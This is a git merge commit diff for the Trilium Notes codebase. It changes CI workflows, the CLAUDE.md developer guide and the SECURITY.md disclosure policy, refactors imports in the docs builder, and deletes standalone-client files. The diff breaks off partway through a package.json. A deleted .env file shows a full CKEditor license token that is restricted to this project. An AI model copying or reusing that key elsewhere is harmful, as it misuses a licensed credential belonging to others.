Merge remote-tracking branch 'origin/main' into feat/fun-take1

# Conflicts:
#	apps/client/src/services/doc_renderer.ts
#	apps/desktop/electron-forge/forge.config.ts
#	apps/desktop/package.json
#	apps/server/src/routes/api/files.ts
#	apps/server/src/routes/api/image.ts
#	apps/server/src/services/open_id.ts
#	apps/server/src/share/routes.ts
#	pnpm-lock.yaml

.github/workflows/deploy-app.yml

@@ -1,67 +0,0 @@
-name: Deploy Standalone App
-
-on:
-  # Trigger on push to main branch
-  push:
-    branches:
-      - standalone
-    # Only run when app files change
-    paths:
-      - 'apps/client/**'
-      - 'apps/client-standalone/**'
-      - 'packages/trilium-core/**'
-      - '.github/workflows/deploy-app.yml'
-
-  # Allow manual triggering from Actions tab
-  workflow_dispatch:
-
-  # Run on pull requests for preview deployments
-  pull_request:
-    paths:
-      - 'apps/client/**'
-      - 'apps/client-standalone/**'
-      - 'packages/trilium-core/**'
-      - '.github/workflows/deploy-app.yml'
-jobs:
-  build-and-deploy:
-    name: Build and Deploy App
-    runs-on: ubuntu-latest
-    timeout-minutes: 10
-
-    # Required permissions for deployment
-    permissions:
-      contents: read
-      deployments: write
-      pull-requests: write # For PR preview comments
-      id-token: write # For OIDC authentication (if needed)
-
-    steps:
-      - name: Checkout Repository
-        uses: actions/checkout@v6
-
-      - name: Setup pnpm
-        uses: pnpm/action-setup@v4
-
-      - name: Setup Node.js
-        uses: actions/setup-node@v6
-        with:
-          node-version: '24'
-          cache: 'pnpm'
-
-      - name: Install Dependencies
-        run: pnpm install --frozen-lockfile
-
-      - name: Trigger build of app
-        run: pnpm --filter=client-standalone build
-
-      - name: Deploy
-        uses: ./.github/actions/deploy-to-cloudflare-pages
-        if: github.repository == vars.REPO_MAIN
-        with:
-          project_name: "trilium-app"
-          comment_body: "🖥️ App preview is ready"
-          production_url: "https://app.triliumnotes.org"
-          deploy_dir: "apps/client-standalone/dist"
-          cloudflare_api_token: ${{ secrets.CLOUDFLARE_API_TOKEN }}
-          cloudflare_account_id: ${{ secrets.CLOUDFLARE_ACCOUNT_ID }}
-          github_token: ${{ secrets.GITHUB_TOKEN }}

.github/workflows/dev.yml

@@ -1,9 +1,13 @@
 name: Dev
 on:
   push:
-    branches: [ main, standalone ]
+    branches:
+      - main
+      - "release/*"
   pull_request:
-    branches: [ main, standalone ]
+    branches:
+      - main
+      - "release/*"
 
 concurrency:
   group: ${{ github.workflow }}-${{ github.ref }}

.github/workflows/nightly.yml

@@ -69,6 +69,8 @@ jobs:
           cache: 'pnpm'
       - name: Install dependencies
         run: pnpm install --frozen-lockfile
+        env:
+          npm_config_package_import_method: copy
       - name: Update nightly version
         run: pnpm run chore:ci-update-nightly-version
       - name: Run the build

.gitignore

@@ -51,6 +51,3 @@ upload
 site/
 apps/*/coverage
 scripts/translation/.language*.json
-
-# AI
-.claude/settings.local.json

CLAUDE.md

@@ -4,153 +4,116 @@ This file provides guidance to Claude Code (claude.ai/code) when working with co
 
 ## Overview
 
-Trilium Notes is a hierarchical note-taking application with synchronization, scripting, and rich text editing. TypeScript monorepo using pnpm with multiple apps and shared packages.
+Trilium Notes is a hierarchical note-taking application with advanced features like synchronization, scripting, and rich text editing. It's built as a TypeScript monorepo using pnpm, with multiple applications and shared packages.
 
 ## Development Commands
 
-```bash
-# Setup
-corepack enable && pnpm install
+### Setup
+- `pnpm install` - Install all dependencies
+- `corepack enable` - Enable pnpm if not available
 
-# Run
-pnpm server:start              # Dev server at http://localhost:8080
-pnpm desktop:start             # Electron dev app
-pnpm standalone:start          # Standalone client dev
+### Running Applications
+- `pnpm run server:start` - Start development server (http://localhost:8080)
+- `pnpm run server:start-prod` - Run server in production mode
 
-# Build
-pnpm client:build              # Frontend
-pnpm server:build              # Backend
-pnpm desktop:build             # Electron
+### Building
+- `pnpm run client:build` - Build client application
+- `pnpm run server:build` - Build server application
+- `pnpm run electron:build` - Build desktop application
 
-# Test
-pnpm test:all                  # All tests (parallel + sequential)
-pnpm test:parallel             # Client + most package tests
-pnpm test:sequential           # Server, ckeditor5-mermaid, ckeditor5-math (shared DB)
-pnpm --filter server test      # Single package tests
-pnpm coverage                  # Coverage reports
+### Testing
+- `pnpm test:all` - Run all tests (parallel + sequential)
+- `pnpm test:parallel` - Run tests that can run in parallel
+- `pnpm test:sequential` - Run tests that must run sequentially (server, ckeditor5-mermaid, ckeditor5-math)
+- `pnpm coverage` - Generate coverage reports
 
-# Lint & Format
-pnpm dev:linter-check          # ESLint check
-pnpm dev:linter-fix            # ESLint fix
-pnpm dev:format-check          # Format check (stricter stylistic rules)
-pnpm dev:format-fix            # Format fix
-pnpm typecheck                 # TypeScript type check across all projects
-```
+## Architecture Overview
 
-**Running a single test file**: `pnpm --filter server test spec/etapi/search.spec.ts`
+### Monorepo Structure
+- **apps/**: Runnable applications
+  - `client/` - Frontend application (shared by server and desktop)
+  - `server/` - Node.js server with web interface
+  - `desktop/` - Electron desktop application
+  - `web-clipper/` - Browser extension for saving web content
+  - Additional tools: `db-compare`, `dump-db`, `edit-docs`
 
-## Main Applications
+- **packages/**: Shared libraries
+  - `commons/` - Shared interfaces and utilities
+  - `ckeditor5/` - Custom rich text editor with Trilium-specific plugins
+  - `codemirror/` - Code editor customizations
+  - `highlightjs/` - Syntax highlighting
+  - Custom CKEditor plugins: `ckeditor5-admonition`, `ckeditor5-footnotes`, `ckeditor5-math`, `ckeditor5-mermaid`
 
-The four main apps share `packages/trilium-core/` for business logic but differ in runtime:
+### Core Architecture Patterns
 
-- **client** (`apps/client/`): Preact frontend with jQuery widget system. Shared UI layer used by both server and desktop.
-- **server** (`apps/server/`): Node.js backend (Express, better-sqlite3). Serves the client and provides REST/WebSocket APIs.
-- **desktop** (`apps/desktop/`): Electron wrapper around server + client, running both in a single process.
-- **standalone** (`apps/client-standalone/` + `apps/standalone-desktop/`): Runs the entire stack in the browser — server logic compiled to WASM via sql.js, executed in a service worker. No Node.js dependency at runtime.
+#### Three-Layer Cache System
+- **Becca** (Backend Cache): Server-side entity cache (`apps/server/src/becca/`)
+- **Froca** (Frontend Cache): Client-side mirror of backend data (`apps/client/src/services/froca.ts`)
+- **Shaca** (Share Cache): Optimized cache for shared/published notes (`apps/server/src/share/`)
 
-## Monorepo Structure
+#### Entity System
+Core entities are defined in `apps/server/src/becca/entities/`:
+- `BNote` - Notes with content and metadata
+- `BBranch` - Hierarchical relationships between notes (allows multiple parents)
+- `BAttribute` - Key-value metadata attached to notes
+- `BRevision` - Note version history
+- `BOption` - Application configuration
 
-```
-apps/
-  client/               # Preact frontend (shared by server, desktop, standalone)
-  server/               # Node.js backend (Express, better-sqlite3)
-  desktop/              # Electron (bundles server + client)
-  client-standalone/    # Standalone client (WASM + service workers, no Node.js)
-  standalone-desktop/   # Standalone desktop variant
-  server-e2e/           # Playwright E2E tests for server
-  web-clipper/          # Browser extension
-  website/              # Project website
-  db-compare/, dump-db/, edit-docs/, build-docs/, icon-pack-builder/
-
-packages/
-  trilium-core/         # Core business logic: entities, services, SQL, sync
-  commons/              # Shared interfaces and utilities
-  ckeditor5/            # Custom rich text editor bundle
-  codemirror/           # Code editor integration
-  highlightjs/          # Syntax highlighting
-  share-theme/          # Theme for shared/published notes
-  ckeditor5-admonition/, ckeditor5-footnotes/, ckeditor5-math/, ckeditor5-mermaid/
-  ckeditor5-keyboard-marker/, express-partial-content/, pdfjs-viewer/, splitjs/
-  turndown-plugin-gfm/
-```
-
-Use `pnpm --filter <package-name> <command>` to run commands in specific packages.
-
-## Core Architecture
-
-### Three-Layer Cache System
-
-All data access goes through cache layers — never bypass with direct DB queries:
-
-- **Becca** (`packages/trilium-core/src/becca/`): Server-side entity cache. Access via `becca.notes[noteId]`.
-- **Froca** (`apps/client/src/services/froca.ts`): Client-side mirror synced via WebSocket. Access via `froca.getNote()`.
-- **Shaca** (`apps/server/src/share/`): Optimized cache for shared/published notes.
-
-**Critical**: Always use cache methods, not direct DB writes. Cache methods create `EntityChange` records needed for synchronization.
-
-### Entity System
-
-Core entities live in `packages/trilium-core/src/becca/entities/` (not `apps/server/`):
-
-- `BNote` — Notes with content and metadata
-- `BBranch` — Multi-parent tree relationships (cloning supported)
-- `BAttribute` — Key-value metadata (labels and relations)
-- `BRevision` — Version history
-- `BOption` — Application configuration
-- `BBlob` — Binary content storage
-
-Entities extend `AbstractBeccaEntity<T>` with built-in change tracking, hash generation, and date management.
-
-### Entity Change & Sync Protocol
-
-Every entity modification creates an `EntityChange` record driving sync:
-1. Login with HMAC authentication (document secret + timestamp)
-2. Push changes → Pull changes → Push again (conflict resolution)
-3. Content hash verification with retry loop
-
-Sync services: `packages/trilium-core/src/services/sync.ts`, `syncMutexService`, `syncUpdateService`.
-
-### Widget-Based UI
-
-Frontend widgets in `apps/client/src/widgets/`:
-- `BasicWidget` / `TypedBasicWidget` — Base classes (jQuery `this.$widget` for DOM)
-- `NoteContextAwareWidget` — Responds to note changes
-- `RightPanelWidget` — Sidebar widgets with position ordering
+#### Widget-Based UI
+Frontend uses a widget system (`apps/client/src/widgets/`):
+- `BasicWidget` - Base class for all UI components
+- `NoteContextAwareWidget` - Widgets that respond to note changes
+- `RightPanelWidget` - Widgets displayed in the right panel
 - Type-specific widgets in `type_widgets/` directory
 
-**Widget lifecycle**: `doRenderBody()` for initial render, `refreshWithNote()` for note changes, `entitiesReloadedEvent({loadResults})` for entity updates. Uses jQuery — don't mix React patterns.
+#### API Architecture
+- **Internal API**: REST endpoints in `apps/server/src/routes/api/`
+- **ETAPI**: External API for third-party integrations (`apps/server/src/etapi/`)
+- **WebSocket**: Real-time synchronization (`apps/server/src/services/ws.ts`)
 
-Fluent builder pattern: `.child()`, `.class()`, `.css()` chaining with position-based ordering.
+### Key Files for Understanding Architecture
 
-### API Architecture
+1. **Application Entry Points**:
+   - `apps/server/src/main.ts` - Server startup
+   - `apps/client/src/desktop.ts` - Client initialization
 
-- **Internal API** (`apps/server/src/routes/api/`): REST endpoints, trusts frontend
-- **ETAPI** (`apps/server/src/etapi/`): External API with basic auth tokens — maintain backwards compatibility
-- **WebSocket** (`apps/server/src/services/ws.ts`): Real-time sync
+2. **Core Services**:
+   - `apps/server/src/becca/becca.ts` - Backend data management
+   - `apps/client/src/services/froca.ts` - Frontend data synchronization
+   - `apps/server/src/services/backend_script_api.ts` - Scripting API
 
-### Platform Abstraction
+3. **Database Schema**:
+   - `apps/server/src/assets/db/schema.sql` - Core database structure
 
-`packages/trilium-core/src/services/platform.ts` defines `PlatformProvider` interface with implementations in `apps/desktop/`, `apps/server/`, and `apps/client-standalone/`. Singleton via `initPlatform()`/`getPlatform()`.
+4. **Configuration**:
+   - `package.json` - Project dependencies and scripts
 
-**PlatformProvider** provides:
-- `crash(message)` — Platform-specific fatal error handling
-- `getEnv(key)` — Environment variable access (server/desktop use `process.env`, standalone maps URL query params like `?safeMode` → `TRILIUM_SAFE_MODE`)
-- `isElectron`, `isMac`, `isWindows` — Platform detection flags
+## Note Types and Features
 
-**Critical rules for `trilium-core`**:
-- **No `process.env` in core** — use `getPlatform().getEnv()` instead (not available in standalone/browser)
-- **No `import path from "path"` in core** — Node's `path` module is externalized in browser builds. Use `packages/trilium-core/src/services/utils/path.ts` for `extname()`/`basename()` equivalents
-- **No Node.js built-in modules in core** — core runs in both Node.js and the browser (standalone). Use platform-agnostic alternatives or platform providers
-- **Platform detection via functions** — `isElectron()`, `isMac()`, `isWindows()` from `utils/index.ts` are functions (not constants) that call `getPlatform()`. They can only be called after `initializeCore()`, not at module top-level. If used in static definitions, wrap in a closure: `value: () => isWindows() ? "0.9" : "1.0"`
-- **Barrel import caution** — `import { x } from "@triliumnext/core"` loads ALL core exports. Early-loading modules like `config.ts` should import specific subpaths (e.g. `@triliumnext/core/src/services/utils/index`) to avoid circular dependencies or initialization ordering issues
-- **Electron IPC** — In desktop mode, client API calls use Electron IPC (not HTTP). The IPC handler in `apps/server/src/routes/electron.ts` must be registered via `utils.isElectron` from the **server's** utils (which correctly checks `process.versions["electron"]`), not from core's utils
+Trilium supports multiple note types, each with specialized widgets:
+- **Text**: Rich text with CKEditor5 (markdown import/export)
+- **Code**: Syntax-highlighted code editing with CodeMirror
+- **File**: Binary file attachments
+- **Image**: Image display with editing capabilities
+- **Canvas**: Drawing/diagramming with Excalidraw
+- **Mermaid**: Diagram generation
+- **Relation Map**: Visual note relationship mapping
+- **Web View**: Embedded web pages
+- **Doc/Book**: Hierarchical documentation structure
 
-### Database
+## Development Guidelines
 
-SQLite via `better-sqlite3`. SQL abstraction in `packages/trilium-core/src/services/sql/` with `DatabaseProvider` interface, prepared statement caching, and transaction support.
+### Testing Strategy
+- Server tests run sequentially due to shared database
+- Client tests can run in parallel
+- E2E tests use Playwright for both server and desktop apps
+- Build validation tests check artifact integrity
 
-- Schema: `apps/server/src/assets/db/schema.sql`
-- Migrations: `apps/server/src/migrations/YYMMDD_HHMM__description.sql`
+### Scripting System
+Trilium provides powerful user scripting capabilities:
+- Frontend scripts run in browser context
+- Backend scripts run in Node.js context with full API access
+- Script API documentation available in `docs/Script API/`
 
 ### Internationalization
 - Translation files in `apps/client/src/translations/`
@@ -159,14 +122,12 @@ SQLite via `better-sqlite3`. SQL abstraction in `packages/trilium-core/src/servi
 - Third-party components (e.g., mind-map context menu) should use i18next `t()` for their labels, with the English strings added to `en/translation.json` under a dedicated namespace (e.g., `"mind-map"`)
 - When a translated string contains **interpolated components** (e.g. links, note references) whose order may vary across languages, use `<Trans>` from `react-i18next` instead of `t()`. This lets translators reorder components freely (e.g. `"<Note/> in <Parent/>"` vs `"in <Parent/>, <Note/>"`)
 
-Three inheritance mechanisms:
-1. **Standard**: `note.getInheritableAttributes()` walks parent tree
-2. **Child prefix**: `child:label` on parent copies to children
-3. **Template relation**: `#template=noteNoteId` includes template's inheritable attributes
+### Security Considerations
+- Per-note encryption with granular protected sessions
+- CSRF protection for API endpoints
+- OpenID and TOTP authentication support
+- Sanitization of user-generated content
 
-### Attribute Inheritance
-
-Use `note.getOwnedAttribute()` for direct, `note.getAttribute()` for inherited.
 ### Client-Side API Restrictions
 - **Do not use `crypto.randomUUID()`** or other Web Crypto APIs that require secure contexts - Trilium can run over HTTP, not just HTTPS
 - Use `randomString()` from `apps/client/src/services/utils.ts` for generating IDs instead
@@ -176,43 +137,20 @@ Use `note.getOwnedAttribute()` for direct, `note.getAttribute()` for inherited.
 - Import shared types directly from `@triliumnext/commons` - do not re-export them from app-specific modules
 - Keep app-specific types (e.g., `LlmProvider` for server, `StreamCallbacks` for client) in their respective apps
 
-## Important Patterns
+## Common Development Tasks
 
-- **Protected notes**: Check `note.isContentAvailable()` before accessing content; use `note.getTitleOrProtected()` for safe title access
-- **Long operations**: Use `TaskContext` for progress reporting via WebSocket
-- **Event system** (`packages/trilium-core/src/services/events.ts`): Events emitted in order (notes → branches → attributes) during load for referential integrity
-- **Search**: Expression-based, scoring happens in-memory — cannot add SQL-level LIMIT/OFFSET without losing scoring
-- **Widget cleanup**: Unsubscribe from events in `cleanup()`/`doDestroy()` to prevent memory leaks
+### Adding New Note Types
+1. Create widget in `apps/client/src/widgets/type_widgets/`
+2. Register in `apps/client/src/services/note_types.ts`
+3. Add backend handling in `apps/server/src/services/notes.ts`
 
-## Code Style
+### Extending Search
+- Search expressions handled in `apps/server/src/services/search/`
+- Add new search operators in search context files
 
-- 4-space indentation, semicolons always required
-- Double quotes (enforced by format config)
-- Max line length: 100 characters
-- Unix line endings
-- Import sorting via `eslint-plugin-simple-import-sort`
-
-## Testing
-
-- **Server tests** (`apps/server/spec/`): Vitest, must run sequentially (shared DB), forks pool, max 6 workers
-- **Client tests** (`apps/client/src/`): Vitest with happy-dom environment, can run in parallel
-- **E2E tests** (`apps/server-e2e/`): Playwright, Chromium, server started automatically on port 8082
-- **ETAPI tests** (`apps/server/spec/etapi/`): External API contract tests
-
-## Documentation
-
-- `docs/Script API/` — Auto-generated, never edit directly
-- `docs/User Guide/` — Edit via `pnpm edit-docs:edit-docs`, not manually
-- `docs/Developer Guide/` and `docs/Release Notes/` — Safe for direct Markdown editing
-
-## Key Entry Points
-
-- `apps/server/src/main.ts` — Server startup
-- `apps/client/src/desktop.ts` — Client initialization
-- `packages/trilium-core/src/becca/becca.ts` — Backend data management
-- `apps/client/src/services/froca.ts` — Frontend cache
-- `apps/server/src/routes/routes.ts` — API route registration
-- `packages/trilium-core/src/services/sql/sql.ts` — Database abstraction
+### Custom CKEditor Plugins
+- Create new package in `packages/` following existing plugin structure
+- Register in `packages/ckeditor5/src/plugins.ts`
 
 ### Adding New LLM Tools
 Tools are defined using `defineTools()` in `apps/server/src/services/llm/tools/` and automatically registered for both the LLM chat and MCP server.
@@ -250,4 +188,4 @@ Tools are defined using `defineTools()` in `apps/server/src/services/llm/tools/`
 - Vite for fast development builds
 - ESBuild for production optimization
 - pnpm workspaces for dependency management
-- Docker support with multi-stage builds
+- Docker support with multi-stage builds

SECURITY.md

@@ -2,13 +2,87 @@
 
 ## Supported Versions
 
-In the (still active) 0.X phase of the project only the latest stable minor release is getting bugfixes (including security ones).
+Only the latest stable minor release receives security fixes.
 
-So e.g. if the latest stable version is 0.42.3 and the latest beta version is 0.43.0-beta, then 0.42 line will still get security fixes but older versions (like 0.41.X) won't get any fixes.
+For example, if the latest stable version is 0.92.3 and the latest beta is 0.93.0-beta, then only the 0.92.x line will receive security patches. Older versions (like 0.91.x) will not receive fixes.
 
-Description above is a general rule and may be altered on case by case basis.
+This policy may be altered on a case-by-case basis for critical vulnerabilities.
 
 ## Reporting a Vulnerability
 
-* For low severity vulnerabilities, they can be reported as GitHub issues.
-* For severe vulnerabilities, please report it using [GitHub Security Advisories](https://github.com/TriliumNext/Trilium/security/advisories).
+**Please report all security vulnerabilities through [GitHub Security Advisories](https://github.com/TriliumNext/Notes/security/advisories/new).**
+
+We do not accept security reports via email, public issues, or other channels. GitHub Security Advisories allows us to:
+- Discuss and triage vulnerabilities privately
+- Coordinate fixes before public disclosure
+- Credit reporters appropriately
+- Publish advisories with CVE identifiers
+
+### What to Include
+
+When reporting, please provide:
+- A clear description of the vulnerability
+- Steps to reproduce or proof-of-concept
+- Affected versions (if known)
+- Potential impact assessment
+- Any suggested mitigations or fixes
+
+### Response Timeline
+
+- **Initial response**: Within 7 days
+- **Triage decision**: Within 14 days
+- **Fix timeline**: Depends on severity and complexity
+
+## Scope
+
+### In Scope
+
+- Remote code execution
+- Authentication/authorization bypass
+- Cross-site scripting (XSS) that affects other users
+- SQL injection
+- Path traversal
+- Sensitive data exposure
+- Privilege escalation
+
+### Out of Scope (Won't Fix)
+
+The following are considered out of scope or accepted risks:
+
+#### Self-XSS / Self-Injection
+Trilium is a personal knowledge base where users have full control over their own data. Users can intentionally create notes containing scripts, HTML, or other executable content. This is by design - Trilium's scripting system allows users to extend functionality with custom JavaScript.
+
+Vulnerabilities that require a user to inject malicious content into their own notes and then view it themselves are not considered security issues.
+
+#### Electron Architecture (nodeIntegration)
+Trilium's desktop application runs with `nodeIntegration: true` to enable its powerful scripting features. This is an intentional design decision, similar to VS Code extensions having full system access. We mitigate risks by:
+- Sanitizing content at input boundaries
+- Fixing specific XSS vectors as they're discovered
+- Using Electron fuses to prevent external abuse
+
+#### Authenticated User Actions
+Actions that require valid authentication and only affect the authenticated user's own data are generally not vulnerabilities.
+
+#### Denial of Service via Resource Exhaustion
+Creating extremely large notes or performing many operations is expected user behavior in a note-taking application.
+
+#### Missing Security Headers on Non-Sensitive Endpoints
+We implement security headers where they provide meaningful protection, but may omit them on endpoints where they provide no practical benefit.
+
+## Coordinated Disclosure
+
+We follow a coordinated disclosure process:
+
+1. **Report received** - We acknowledge receipt and begin triage
+2. **Fix developed** - We develop and test a fix privately
+3. **Release prepared** - Security release is prepared with vague changelog
+4. **Users notified** - Release is published, users encouraged to upgrade
+5. **Advisory published** - After reasonable upgrade window (typically 2-4 weeks), full advisory is published
+
+We appreciate reporters allowing us time to fix issues before public disclosure. We aim to credit all reporters in published advisories unless they prefer to remain anonymous.
+
+## Security Updates
+
+Security fixes are released as patch versions (e.g., 0.92.1 → 0.92.2) to minimize upgrade friction. We recommend all users keep their installations up to date.
+
+Subscribe to GitHub releases or watch the repository to receive notifications of new releases.

apps/build-docs/package.json

@@ -15,17 +15,11 @@
   "author": "Elian Doran <contact@eliandoran.me>",
   "license": "AGPL-3.0-only",
   "packageManager": "pnpm@10.33.0",
-  "dependencies": {
-    "@triliumnext/core": "workspace:*",
-    "@triliumnext/server": "workspace:*"
-  },
   "devDependencies": {
     "@redocly/cli": "2.25.3",
     "archiver": "7.0.1",
     "fs-extra": "11.3.4",
     "js-yaml": "4.1.1",
-    "react": "19.2.4",
-    "react-dom": "19.2.4",
     "typedoc": "0.28.18",
     "typedoc-plugin-missing-exports": "4.1.2"
   }

apps/build-docs/src/backend_script_entrypoint.ts

@@ -14,18 +14,21 @@
  */
 
 export type {
-    AbstractBeccaEntity,
-    BAttachment,
-    BAttribute,
-    BBranch,
-    BEtapiToken,
-    BNote,
-    BOption,
-    BRecentNote,
-    BRevision
-} from "@triliumnext/core";
+    default as AbstractBeccaEntity
+} from "../../server/src/becca/entities/abstract_becca_entity.js";
+export type {
+    default as BAttachment
+} from "../../server/src/becca/entities/battachment.js";
+export type { default as BAttribute } from "../../server/src/becca/entities/battribute.js";
+export type { default as BBranch } from "../../server/src/becca/entities/bbranch.js";
+export type { default as BEtapiToken } from "../../server/src/becca/entities/betapi_token.js";
+export type { BNote };
+export type { default as BOption } from "../../server/src/becca/entities/boption.js";
+export type { default as BRecentNote } from "../../server/src/becca/entities/brecent_note.js";
+export type { default as BRevision } from "../../server/src/becca/entities/brevision.js";
 
-import { BNote, BackendScriptApi, type BackendScriptApiInterface as Api } from "@triliumnext/core";
+import BNote from "../../server/src/becca/entities/bnote.js";
+import BackendScriptApi, { type Api } from "../../server/src/services/backend_script_api.js";
 
 export type { Api };
 

apps/build-docs/src/build-docs.ts

@@ -5,15 +5,10 @@ if (!process.env.TRILIUM_RESOURCE_DIR) {
 }
 process.env.NODE_ENV = "development";
 
-import { getContext, initializeCore } from "@triliumnext/core";
-import ClsHookedExecutionContext from "@triliumnext/server/src/cls_provider.js";
-import NodejsCryptoProvider from "@triliumnext/server/src/crypto_provider.js";
-import ServerPlatformProvider from "@triliumnext/server/src/platform_provider.js";
-import BetterSqlite3Provider from "@triliumnext/server/src/sql_provider.js";
-import NodejsZipProvider from "@triliumnext/server/src/zip_provider.js";
+import cls from "@triliumnext/server/src/services/cls.js";
 import archiver from "archiver";
 import { execSync } from "child_process";
-import { readFileSync } from "fs";
+import { WriteStream } from "fs";
 import * as fs from "fs/promises";
 import * as fsExtra from "fs-extra";
 import yaml from "js-yaml";
@@ -21,35 +16,6 @@ import { dirname, join, resolve } from "path";
 
 import BuildContext from "./context.js";
 
-let initialized = false;
-
-async function initializeBuildEnvironment() {
-    if (initialized) return;
-    initialized = true;
-
-    const dbProvider = new BetterSqlite3Provider();
-    dbProvider.loadFromMemory();
-
-    const { serverZipExportProviderFactory } = await import("@triliumnext/server/src/services/export/zip/factory.js");
-
-    await initializeCore({
-        dbConfig: {
-            provider: dbProvider,
-            isReadOnly: false,
-            onTransactionCommit: () => {},
-            onTransactionRollback: () => {}
-        },
-        crypto: new NodejsCryptoProvider(),
-        zip: new NodejsZipProvider(),
-        zipExportProviderFactory: serverZipExportProviderFactory,
-        executionContext: new ClsHookedExecutionContext(),
-        platform: new ServerPlatformProvider(),
-        schema: readFileSync(require.resolve("@triliumnext/core/src/assets/schema.sql"), "utf-8"),
-        translations: (await import("@triliumnext/server/src/services/i18n.js")).initializeTranslations,
-        getDemoArchive: async () => null
-    });
-}
-
 interface NoteMapping {
     rootNoteId: string;
     path: string;
@@ -106,8 +72,9 @@ async function exportDocs(
 ) {
     const zipFilePath = `output-${noteId}.zip`;
     try {
-        const { zipExportService } = await import("@triliumnext/core");
-        await zipExportService.exportToZipFile(noteId, format, zipFilePath, {});
+        const { exportToZipFile } = (await import("@triliumnext/server/src/services/export/zip.js"))
+            .default;
+        await exportToZipFile(noteId, format, zipFilePath, {});
 
         const ignoredSet = ignoredFiles ? new Set(ignoredFiles) : undefined;
         await extractZip(zipFilePath, outputPath, ignoredSet);
@@ -125,12 +92,18 @@ async function importAndExportDocs(sourcePath: string, outputSubDir: string) {
     const zipName = outputSubDir || "user-guide";
     const zipFilePath = `output-${zipName}.zip`;
     try {
-        const { zipExportService, TaskContext } = await import("@triliumnext/core");
-        const { waitForStreamToFinish } = await import("@triliumnext/server/src/services/utils.js");
+        const { exportToZip } = (await import("@triliumnext/server/src/services/export/zip.js"))
+            .default;
         const branch = note.getParentBranches()[0];
-        const taskContext = new TaskContext("no-progress-reporting", "export", null);
+        const taskContext = new (await import("@triliumnext/server/src/services/task_context.js"))
+            .default(
+                "no-progress-reporting",
+                "export",
+                null
+            );
         const fileOutputStream = fsExtra.createWriteStream(zipFilePath);
-        await zipExportService.exportToZip(taskContext, branch, "share", fileOutputStream);
+        await exportToZip(taskContext, branch, "share", fileOutputStream);
+        const { waitForStreamToFinish } = await import("@triliumnext/server/src/services/utils.js");
         await waitForStreamToFinish(fileOutputStream);
 
         // Output to root directory if outputSubDir is empty, otherwise to subdirectory
@@ -144,11 +117,15 @@ async function importAndExportDocs(sourcePath: string, outputSubDir: string) {
 }
 
 async function buildDocsInner(config?: Config) {
-    const { sql_init, becca_loader } = await import("@triliumnext/core");
-    await sql_init.createInitialDatabase(true);
+    const i18n = await import("@triliumnext/server/src/services/i18n.js");
+    await i18n.initializeTranslations();
+
+    const sqlInit = (await import("../../server/src/services/sql_init.js")).default;
+    await sqlInit.createInitialDatabase(true);
 
     // Wait for becca to be loaded before importing data
-    await becca_loader.beccaLoaded;
+    const beccaLoader = await import("../../server/src/becca/becca_loader.js");
+    await beccaLoader.beccaLoaded;
 
     if (config) {
         // Config-based build (reads from edit-docs-config.yaml)
@@ -199,14 +176,16 @@ async function buildDocsInner(config?: Config) {
 
 export async function importData(path: string) {
     const buffer = await createImportZip(path);
-    const { zipImportService, TaskContext, becca } = await import("@triliumnext/core");
+    const importService = (await import("../../server/src/services/import/zip.js")).default;
+    const TaskContext = (await import("../../server/src/services/task_context.js")).default;
     const context = new TaskContext("no-progress-reporting", "importNotes", null);
+    const becca = (await import("../../server/src/becca/becca.js")).default;
 
     const rootNote = becca.getRoot();
     if (!rootNote) {
         throw new Error("Missing root note for import.");
     }
-    return await zipImportService.importZip(context, buffer, rootNote, {
+    return await importService.importZip(context, buffer, rootNote, {
         preserveIds: true
     });
 }
@@ -239,16 +218,20 @@ export async function extractZip(
     outputPath: string,
     ignoredFiles?: Set<string>
 ) {
-    const { getZipProvider } = await import("@triliumnext/core");
-    await getZipProvider().readZipFile(await fs.readFile(zipFilePath), async (entry, readContent) => {
+    const { readZipFile, readContent } = (await import(
+        "@triliumnext/server/src/services/import/zip.js"
+    ));
+    await readZipFile(await fs.readFile(zipFilePath), async (zip, entry) => {
         // We ignore directories since they can appear out of order anyway.
         if (!entry.fileName.endsWith("/") && !ignoredFiles?.has(entry.fileName)) {
             const destPath = join(outputPath, entry.fileName);
-            const fileContent = await readContent();
+            const fileContent = await readContent(zip, entry);
 
             await fsExtra.mkdirs(dirname(destPath));
             await fs.writeFile(destPath, fileContent);
         }
+
+        zip.readEntry();
     });
 }
 
@@ -263,12 +246,9 @@ export async function buildDocsFromConfig(configPath?: string, gitRootDir?: stri
         });
     }
 
-    // Initialize the build environment before using cls
-    await initializeBuildEnvironment();
-
     // Trigger the actual build.
     await new Promise((res, rej) => {
-        getContext().init(() => {
+        cls.init(() => {
             buildDocsInner(config ?? undefined)
                 .catch(rej)
                 .then(res);
@@ -283,12 +263,9 @@ export default async function buildDocs({ gitRootDir }: BuildContext) {
         cwd: gitRootDir
     });
 
-    // Initialize the build environment before using cls
-    await initializeBuildEnvironment();
-
     // Trigger the actual build.
     await new Promise((res, rej) => {
-        getContext().init(() => {
+        cls.init(() => {
             buildDocsInner()
                 .catch(rej)
                 .then(res);

apps/client-standalone/.env

@@ -1,4 +0,0 @@
-# The development license key for premium CKEditor features.
-# Note: This key must only be used for the Trilium Notes project.
-VITE_CKEDITOR_KEY=eyJhbGciOiJFUzI1NiJ9.eyJleHAiOjE3ODcyNzA0MDAsImp0aSI6IjkyMWE1MWNlLTliNDMtNGRlMC1iOTQwLTc5ZjM2MDBkYjg1NyIsImRpc3RyaWJ1dGlvbkNoYW5uZWwiOiJ0cmlsaXVtIiwiZmVhdHVyZXMiOlsiVFJJTElVTSJdLCJ2YyI6ImU4YzRhMjBkIn0.hny77p-U4-jTkoqbwPytrEar5ylGCWBN7Ez3SlB8i6_mJCBIeCSTOlVQk_JMiOEq3AGykUMHzWXzjdMFwgniOw
-VITE_CKEDITOR_ENABLE_INSPECTOR=false

apps/client-standalone/.env.production

@@ -1 +0,0 @@
-VITE_CKEDITOR_ENABLE_INSPECTOR=false

apps/client-standalone/package.json

@@ -1,89 +0,0 @@
-{
-  "name": "@triliumnext/client-standalone",
-  "version": "0.102.1",
-  "description": "Standalone client for TriliumNext with SQLite WASM backend",
-  "private": true,
-  "license": "AGPL-3.0-only",
-  "scripts": {
-    "build": "cross-env NODE_OPTIONS=--max-old-space-size=4096 vite build",
-    "dev": "vite dev",
-    "test": "vitest",
-    "start-prod": "pnpm build && pnpm http-server dist -p 8888",
-    "coverage": "vitest --coverage"
-  },
-  "dependencies": {
-    "@excalidraw/excalidraw": "0.18.0",
-    "@fullcalendar/core": "6.1.20",
-    "@fullcalendar/daygrid": "6.1.20",
-    "@fullcalendar/interaction": "6.1.20",
-    "@fullcalendar/list": "6.1.20",
-    "@fullcalendar/multimonth": "6.1.20",
